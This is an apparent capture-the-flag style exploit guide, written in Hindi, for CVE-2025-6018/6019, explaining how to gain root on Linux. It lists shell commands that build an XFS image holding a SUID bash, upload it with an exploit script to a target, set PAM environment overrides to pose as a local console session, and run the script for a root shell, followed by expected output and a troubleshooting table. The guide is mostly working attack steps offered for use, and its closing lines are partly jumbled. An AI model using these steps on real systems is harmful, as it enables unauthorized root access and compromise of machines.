
CVE-2025-6018/6019 के लिए एक्सप्लॉइट गाइड: XFS इमेज हेरफेर और PAM पर्यावरण चर के दुरुपयोग के माध्यम से विशेषाधिकार वृद्धि करके लिनक्स सिस्टम पर रूट एक्सेस प्राप्त करना।
# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# Verify (should show 300M)
ls -lh xfs.image
# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/
# SSH login to target
ssh [email protected]
# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# Verify configuration
cat ~/.pam_environment
# 🔥 Critical: Logout (to activate PAM config)
exit
# Re-login via SSH (PAM config now active)
ssh [email protected]
# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Execute privilege escalation script
bash exp.sh
यदि शोषण सफल होता है, तो आपको देखना चाहिए:
✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!
════════════════════════════════════════════════════════════
║ ROOT FLAG ║
║ <flag_here> ║
════════════════════════════════════════════════════════════
bash-5.2# whoami
root
| समस्या | समाधान |
|---|---|
CanReboot returns ('no',) | सुनिश्चित करें कि आपने लॉग आउट करके वापस लॉग इन किया (चरण 3) |
Not authorized error | जाँचें कि ~/.pam_environment की सामग्री सही है |
| SUID bash not found | xfs.image को पुनः अपलोड करें और SUID बिट सेट होने की पुष्टि करें |
('yes',) लौटाता हैssh -t user@host "cmd" शैली का निष्पादन न करेंयदि यह विफल होता है, तो सुनिश्चित करें कि प्रत्येक चरण सख्त क्रम में निष्पादित किया गया है!